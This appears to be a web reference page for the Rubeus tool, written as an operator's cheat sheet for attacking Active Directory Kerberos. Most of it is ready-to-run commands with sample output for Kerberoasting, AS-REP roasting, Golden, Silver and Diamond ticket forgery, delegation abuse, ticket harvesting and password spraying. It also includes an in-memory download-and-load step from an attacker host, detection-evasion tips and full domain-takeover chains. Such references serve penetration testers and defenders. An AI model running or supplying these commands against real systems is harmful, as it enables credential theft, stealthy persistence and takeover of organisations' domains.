# Rubeus Active Directory Reference > Comprehensive Rubeus toolkit reference for AD exploitation: Kerberos attacks including AS-REP roasting, Kerberoasting, ticket harvesting, Pass-the-Ticket, and delegation abuse. - **URL:** https://hackindex.io/platforms/active-directory/exploitation/rubeus-active-directory-reference - **Path:** Active Directory > Exploitation - **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md) - **Published:** 2026-09-11 - **Updated:** 2026-09-11 Rubeus is a C# tool for raw Kerberos interaction and abuse on Windows. It handles ticket requests, extraction, forgery, roasting, constrained delegation abuse, pass-the-ticket, and credential harvesting, all from a single binary. Unlike impacket (which runs from Linux over the network), Rubeus operates from a compromised Windows host or an attacker Windows VM and talks directly to the KDC. ## Getting Rubeus Rubeus ships pre-compiled on Kali at `/usr/share/rubeus/Rubeus.exe`. Transfer it to the target or load it reflectively. To compile the latest version from source, clone the repo and build with Visual Studio or `dotnet`. **Transfer Rubeus to target** ```bash # Host Rubeus on your attacker machine python3 -m http.server 80 -d /usr/share/rubeus/ ``` **Download on target** ```powershell # Download from attacker Invoke-WebRequest -Uri http://$LHOST/Rubeus.exe -OutFile C:\Windows\Temp\Rubeus.exe # Or load reflectively in memory (no file on disk) $data = (New-Object Net.WebClient).DownloadData('http://$LHOST/Rubeus.exe') $assem = [System.Reflection.Assembly]::Load($data) [Rubeus.Program]::MainString("triage") ``` ## Authentication Methods Most Rubeus commands that request tickets accept credentials in several forms. Use whichever you have. **Rubeus authentication options** ```powershell # Plaintext password (Rubeus derives the key internally) .\Rubeus.exe asktgt /user:$USER /password:$PASSWORD /domain:$DOMAIN /dc:$TARGET_IP /ptt # NTLM / RC4 hash .\Rubeus.exe asktgt /user:$USER /rc4:$NTHASH /domain:$DOMAIN /dc:$TARGET_IP /ptt # AES-256 key (stealthier, avoids RC4 downgrade detection) .\Rubeus.exe asktgt /user:$USER /aes256:$AES_KEY /domain:$DOMAIN /dc:$TARGET_IP /ptt # Certificate (PKINIT) from a PFX file .\Rubeus.exe asktgt /user:$USER /certificate:cert.pfx /certpassword:pfxpass /domain:$DOMAIN /dc:$TARGET_IP /getcredentials # Certificate from the Windows certificate store (by thumbprint) .\Rubeus.exe asktgt /user:$USER /certificate:A1B2C3D4... /domain:$DOMAIN /dc:$TARGET_IP /getcredentials ``` ## Placeholders Used Here - `$DOMAIN` - FQDN, e.g. `corp.local`. - `$USER` / `$PASSWORD` - current foothold account credentials. - `$NTHASH` - NT hash of `$USER` (RC4 key). - `$AES_KEY` - AES-256 key of `$USER`. - `$TARGET_IP` - DC IP address. Use the DC FQDN when Kerberos name resolution matters. - `$TARGET_USER` - sAMAccountName of the target account. - `$TARGET_SPN` - service principal name, e.g. `cifs/dc01.corp.local`. - `$LHOST` - attacker IP for file transfers. ## Ticket Triage, Listing and Extraction `triage` gives a quick summary of all accessible tickets in the current logon session (or all sessions when elevated). `klist` shows full ticket details. `dump` extracts the raw ticket as base64 for reuse with `/ticket:` in other commands. `tgtdeleg` retrieves a usable TGT for the current user without elevation, using the Kerberos GSS-API delegation trick. **triage / klist / dump** ```powershell # Quick overview of all tickets in accessible sessions .\Rubeus.exe triage # Detailed ticket info .\Rubeus.exe klist # Dump tickets as base64 (use /nowrap for clean copy-paste) .\Rubeus.exe dump /nowrap # Dump only tickets for a specific user or service .\Rubeus.exe dump /user:$TARGET_USER /nowrap .\Rubeus.exe dump /service:krbtgt /nowrap # Target a specific logon session (requires elevation) .\Rubeus.exe dump /luid:0x3e4 /nowrap # ---------------------------------------------- # | LUID | UserName | Service | EndTime | # ---------------------------------------------- # | 0x462eb | svc_backup | krbtgt/CORP.LOCAL | 9/12/2026 2:14:28 AM | ``` **tgtdeleg (extract TGT without elevation)** ```powershell # Get a usable TGT for the current user via the delegation trick .\Rubeus.exe tgtdeleg /target:cifs/dc01.$DOMAIN /nowrap ``` ## Requesting Tickets `asktgt` requests a TGT from the KDC. `asktgs` requests a service ticket using an existing TGT. `/ptt` injects the ticket into the current session immediately. `/getcredentials` (on `asktgt` with a certificate) performs a U2U request to recover the account's NT hash. **asktgt** ```powershell # Request TGT with password and inject .\Rubeus.exe asktgt /user:$USER /password:$PASSWORD /domain:$DOMAIN /dc:$TARGET_IP /ptt # Request TGT with RC4 hash .\Rubeus.exe asktgt /user:$USER /rc4:$NTHASH /domain:$DOMAIN /dc:$TARGET_IP /ptt # Request TGT with AES key (stealthier) .\Rubeus.exe asktgt /user:$USER /aes256:$AES_KEY /domain:$DOMAIN /dc:$TARGET_IP /enctype:aes256 /opsec /ptt # PKINIT with certificate, recover NT hash .\Rubeus.exe asktgt /user:$USER /certificate:cert.pfx /certpassword:pfxpass /domain:$DOMAIN /dc:$TARGET_IP /getcredentials # Request TGT and spawn a new process with it (avoids overwriting current session tickets) .\Rubeus.exe asktgt /user:$USER /rc4:$NTHASH /domain:$DOMAIN /dc:$TARGET_IP /createnetonly:C:\Windows\System32\cmd.exe /show ``` **asktgs** ```powershell # Request a service ticket using a TGT (base64) .\Rubeus.exe asktgs /ticket: /service:$TARGET_SPN /dc:$TARGET_IP /ptt # Request multiple service tickets at once .\Rubeus.exe asktgs /ticket: /service:cifs/dc01.$DOMAIN,ldap/dc01.$DOMAIN /dc:$TARGET_IP /ptt # User-to-User (U2U) request .\Rubeus.exe asktgs /ticket: /service:$TARGET_SPN /u2u /targetuser:$TARGET_USER /dc:$TARGET_IP /ptt ``` **renew** ```powershell # Renew a TGT once .\Rubeus.exe renew /ticket: /dc:$TARGET_IP /ptt # Auto-renew until the renewable lifetime expires .\Rubeus.exe renew /ticket: /dc:$TARGET_IP /autorenew ``` ## Kerberoasting Request service tickets for accounts with SPNs and crack them offline. `/stats` surveys the environment first without requesting tickets. `/rc4opsec` targets only accounts using RC4 encryption (more likely to have weak passwords). `/aes` requests AES-encrypted tickets (hashcat mode 19700). **kerberoast** ```powershell # Survey: list Kerberoastable accounts and encryption types .\Rubeus.exe kerberoast /stats # Roast all SPNs, output in hashcat format .\Rubeus.exe kerberoast /outfile:hashes.txt /nowrap # Target a single account .\Rubeus.exe kerberoast /user:$TARGET_USER /outfile:hashes.txt /nowrap # Only target RC4-enabled accounts (more likely to crack) .\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt /nowrap # Request AES-encrypted tickets (hashcat -m 19700) .\Rubeus.exe kerberoast /aes /outfile:hashes.txt /nowrap # Use alternate LDAP credentials for the SPN lookup .\Rubeus.exe kerberoast /creduser:$DOMAIN\$USER /credpassword:$PASSWORD /outfile:hashes.txt /nowrap # [*] Total kerberoastable users: 3 # # $krb5tgs$23$*svc_mssql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$a1b2c3... ``` **Crack Kerberoast hashes** ```bash # RC4 (hashcat mode 13100) hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt # AES-256 (hashcat mode 19700) hashcat -m 19700 hashes.txt /usr/share/wordlists/rockyou.txt ``` ## AS-REP Roasting Request encrypted AS-REP blobs for accounts that do not require Kerberos pre-authentication. No credentials needed for the roast itself, only a list of target usernames. **asreproast** ```powershell # Roast all accounts with DONT_REQ_PREAUTH (LDAP lookup, needs domain creds) .\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt /nowrap # Roast a specific user (no LDAP needed) .\Rubeus.exe asreproast /user:$TARGET_USER /domain:$DOMAIN /dc:$TARGET_IP /format:hashcat /outfile:asrep.txt /nowrap # Use alternate LDAP credentials for the user lookup .\Rubeus.exe asreproast /creduser:$DOMAIN\$USER /credpassword:$PASSWORD /format:hashcat /outfile:asrep.txt /nowrap # $krb5asrep$23$svc_legacy@CORP.LOCAL:9f8e7d... ``` **Crack AS-REP hashes** ```bash hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt ``` ## Constrained Delegation Abuse (S4U) `s4u` performs S4U2Self and S4U2Proxy to impersonate a user to a service. Works for both traditional constrained delegation (msDS-AllowedToDelegateTo) and resource-based constrained delegation (RBCD). For RBCD, add `/self` to perform only S4U2Self, then use the resulting ticket for S4U2Proxy. `/altservice` substitutes the service name in the final ticket (same host, different SPN). **s4u (constrained delegation)** ```powershell # Traditional constrained delegation: impersonate Administrator to target SPN .\Rubeus.exe s4u /user:$USER /rc4:$NTHASH /impersonateuser:Administrator /msdsspn:$TARGET_SPN /domain:$DOMAIN /dc:$TARGET_IP /ptt # With alternative service names (rewrite SPN to cifs for file access) .\Rubeus.exe s4u /user:$USER /rc4:$NTHASH /impersonateuser:Administrator /msdsspn:time/dc01.$DOMAIN /altservice:cifs /domain:$DOMAIN /dc:$TARGET_IP /ptt # Use an existing TGT instead of credentials .\Rubeus.exe s4u /ticket: /impersonateuser:Administrator /msdsspn:$TARGET_SPN /domain:$DOMAIN /dc:$TARGET_IP /ptt ``` **s4u (RBCD abuse)** ```powershell # RBCD flow: use the controlled machine account to impersonate Administrator # Requires msDS-AllowedToActOnBehalfOfOtherIdentity to be set on the target computer .\Rubeus.exe s4u /user:ATTACKER$ /rc4:$NTHASH /impersonateuser:Administrator /msdsspn:cifs/target.$DOMAIN /domain:$DOMAIN /dc:$TARGET_IP /ptt ``` ## Ticket Forgery Forge tickets when you have the required key material. A Golden Ticket uses the `krbtgt` hash and grants domain-wide access. A Silver Ticket uses a service account hash and targets a single service. A Diamond Ticket modifies the PAC of a legitimately requested TGT, making it harder to detect than a pure Golden Ticket. **golden (Golden Ticket)** ```powershell # Forge a Golden Ticket with RC4 (krbtgt NTLM hash) .\Rubeus.exe golden /rc4: /user:fakeadmin /domain:$DOMAIN /sid:S-1-5-21-... /dc:$TARGET_IP /ptt # Forge with AES-256 (stealthier, avoids RC4 anomaly detection) .\Rubeus.exe golden /aes256: /user:fakeadmin /domain:$DOMAIN /sid:S-1-5-21-... /dc:$TARGET_IP /ptt # With LDAP lookup for realistic PAC values .\Rubeus.exe golden /aes256: /user:Administrator /id:500 /domain:$DOMAIN /sid:S-1-5-21-... /dc:$TARGET_IP /ldap /ptt # Cross-domain with SID history (Enterprise Admin in parent domain) .\Rubeus.exe golden /rc4: /user:fakeadmin /domain:child.$DOMAIN /sid:S-1-5-21-child... /sids:S-1-5-21-parent...-519 /dc:$TARGET_IP /ptt ``` **silver (Silver Ticket)** ```powershell # Forge a Silver Ticket for CIFS access to a specific host .\Rubeus.exe silver /rc4: /service:cifs/target.$DOMAIN /user:Administrator /domain:$DOMAIN /sid:S-1-5-21-... /dc:$TARGET_IP /ptt # With KDC signature for PAC validation bypass .\Rubeus.exe silver /aes256: /service:cifs/target.$DOMAIN /krbkey: /krbenctype:aes256 /user:Administrator /domain:$DOMAIN /sid:S-1-5-21-... /dc:$TARGET_IP /ldap /ptt ``` **diamond (Diamond Ticket)** ```powershell # Diamond Ticket: request a real TGT, then modify its PAC .\Rubeus.exe diamond /user:$USER /password:$PASSWORD /krbkey: /ticketuser:Administrator /ticketuserid:500 /groups:512 /domain:$DOMAIN /dc:$TARGET_IP /ptt # Without credentials: use tgtdeleg trick for the initial TGT .\Rubeus.exe diamond /tgtdeleg /krbkey: /ticketuser:Administrator /ticketuserid:500 /groups:512 /domain:$DOMAIN /dc:$TARGET_IP /ptt ``` ## Pass-the-Ticket `ptt` imports a ticket (base64 or .kirbi file) into the current or a specified logon session. `createnetonly` spawns a new hidden process with a separate logon session, useful for applying tickets without overwriting your current session's tickets. `purge` clears all tickets from a session. **ptt / createnetonly / purge** ```powershell # Import a base64 ticket into the current session .\Rubeus.exe ptt /ticket: # Import a .kirbi file .\Rubeus.exe ptt /ticket:ticket.kirbi # Import into a specific logon session (requires elevation) .\Rubeus.exe ptt /ticket: /luid:0x462eb # Spawn a new process with its own logon session, inject the ticket there .\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /show /ticket: # Clear all tickets from the current session .\Rubeus.exe purge # Clear tickets from a specific logon session .\Rubeus.exe purge /luid:0x462eb ``` ## Monitoring and Harvesting TGTs `monitor` watches for new TGTs appearing across logon sessions at a set interval. `harvest` does the same but also auto-renews tickets and displays them periodically. Both require elevation. Useful on a compromised server or DC to capture TGTs of users authenticating to it (e.g. via unconstrained delegation). **monitor / harvest** ```powershell # Monitor for new TGTs every 60 seconds .\Rubeus.exe monitor /interval:60 /nowrap # Monitor for a specific user .\Rubeus.exe monitor /interval:60 /targetuser:Administrator /nowrap # Harvest with auto-renew, display every 5 minutes, run for 1 hour .\Rubeus.exe harvest /monitorinterval:60 /displayinterval:300 /runfor:3600 /nowrap # [*] 9/12/2026 2:14:28 AM UTC - Found new TGT: # # User : Administrator@CORP.LOCAL # StartTime : 9/12/2026 2:14:28 AM # EndTime : 9/12/2026 12:14:28 PM # RenewTill : 9/19/2026 2:14:28 AM # Flags : name_canonicalize, pre_authent, initial, renewable, forwardable # Base64EncodedTicket: doIFqD... ``` ## Kerberos Password Spraying `brute` performs Kerberos-based password spraying. Unlike LDAP-based spraying (nxc), Kerberos pre-authentication failures generate event 4771 (not 4625), and the brute does not trigger LDAP lockout policies. Spray responsibly to avoid account lockouts. **brute (password spraying)** ```powershell # Spray a single password against a user list .\Rubeus.exe brute /password:Welcome1 /users:users.txt /domain:$DOMAIN /dc:$TARGET_IP /noticket # Spray multiple passwords .\Rubeus.exe brute /passwords:passwords.txt /users:users.txt /domain:$DOMAIN /dc:$TARGET_IP /noticket /verbose # Target a single user with multiple passwords .\Rubeus.exe brute /passwords:passwords.txt /user:$TARGET_USER /domain:$DOMAIN /dc:$TARGET_IP /noticket # [+] STUPENDOUS => $TARGET_USER:Welcome1 ``` ## Pre-Authentication Scanning `preauthscan` enumerates accounts that do not require Kerberos pre-authentication, without actually requesting the AS-REP blob. Use it before `asreproast` to identify targets. **preauthscan** ```powershell .\Rubeus.exe preauthscan /users:users.txt /domain:$DOMAIN /dc:$TARGET_IP # [*] svc_legacy - DONT_REQ_PREAUTH set! # [*] backup_svc - DONT_REQ_PREAUTH set! ``` ## Utility Commands Smaller subcommands for ticket manipulation, password changes, and key derivation. ### hash (derive Kerberos keys from password) Calculate RC4, AES-128, AES-256, and DES keys from a plaintext password. Useful when you have a password and need the hash for `asktgt /rc4:` or `/aes256:`. **hash** ```powershell .\Rubeus.exe hash /password:$PASSWORD /user:$USER /domain:$DOMAIN # [*] rc4_hmac : 2B576ACBE6BCFDA7294D6BD18041B8FE # [*] aes128_cts : 7A2D1E3F... # [*] aes256_cts : 9C4B8A1D... # [*] des_cbc_md5 : 1F2E3D4C... ``` ### describe (parse a ticket) Decode and display the contents of a .kirbi or base64-encoded ticket without importing it. **describe** ```powershell # Parse a base64 ticket .\Rubeus.exe describe /ticket: # Parse a .kirbi file .\Rubeus.exe describe /ticket:ticket.kirbi # Decrypt the ticket with the service key to see the PAC .\Rubeus.exe describe /ticket: /servicekey: ``` ### tgssub (rewrite SPN in a service ticket) Substitute the service name in an existing service ticket. Useful when you have a ticket for one SPN on a host and need access to a different service on the same host (e.g. swap `time/dc01` for `cifs/dc01`). **tgssub** ```powershell # Rewrite the SPN in the ticket from time/ to cifs/ .\Rubeus.exe tgssub /ticket: /altservice:cifs/dc01.$DOMAIN /ptt ``` ### changepw (Kerberos password change) Change or set a target user's password using a TGT via the Kerberos set-password protocol (RFC 3244). Requires a TGT for the target user or an account with the right to reset their password. **changepw** ```powershell # Change password using a TGT for the target user .\Rubeus.exe changepw /ticket: /new:NewPass123! /dc:$TARGET_IP # Target a different user (requires appropriate privileges in the TGT) .\Rubeus.exe changepw /ticket: /new:NewPass123! /targetuser:$TARGET_USER /targetdomain:$DOMAIN /dc:$TARGET_IP # [+] Password successfully changed! ``` ### currentluid / logonsession Display information about the current logon session or enumerate all logon sessions on the host. **currentluid / logonsession** ```powershell # Show current user's logon session ID .\Rubeus.exe currentluid # List all logon sessions (requires elevation) .\Rubeus.exe logonsession # Show only the current session .\Rubeus.exe logonsession /current # [*] Current LUID: 0x462eb ``` ## Common Attack Chains Rubeus is rarely used in isolation. These are the most common chains where Rubeus plays a role. - **Kerberoast to credential access**: `kerberoast /stats` to survey, `kerberoast /rc4opsec` to extract, hashcat to crack, then `asktgt` with the cracked password. - **RBCD abuse**: create a computer account (bloodyAD/PowerView), set `msDS-AllowedToActOnBehalfOfOtherIdentity`, then `s4u` to impersonate Administrator to the target. - **Shadow Credentials to TGT**: write `msDS-KeyCredentialLink` (bloodyAD/Whisker), authenticate with PKINIT via `asktgt /certificate:`, recover NT hash with `/getcredentials`. - **DCSync to Golden Ticket**: dump the `krbtgt` hash with secretsdump, then `golden /aes256:` for persistent domain access. - **Diamond Ticket (stealth persistence)**: with the `krbtgt` AES key, `diamond /tgtdeleg /krbkey: /ticketuser:Administrator` creates a ticket that looks legitimate to most detections. - **Unconstrained delegation harvest**: compromise a server with unconstrained delegation, run `monitor` to capture TGTs of authenticating users, then `ptt` to use them. ## References - [Rubeus (GitHub)](https://github.com/GhostPack/Rubeus) - C# Kerberos abuse toolkit. Full command reference and README. - [Impacket (GitHub)](https://github.com/fortra/impacket) - Linux-side Kerberos tools (getTGT, getST, secretsdump) that complement Rubeus from a Kali host. - [bloodyAD (GitHub)](https://github.com/CravateRouge/bloodyAD) - LDAP-based AD manipulation: set RBCD, write SPNs, shadow credentials. Pairs with Rubeus for the Kerberos step. - [Rubeus: Now With More Kerberos Abuse (SpecterOps)](https://posts.specterops.io/rubeus-now-with-more-kerberos-abuse-f083f083b1cb) - Original SpecterOps post covering Rubeus features and Kerberos abuse techniques.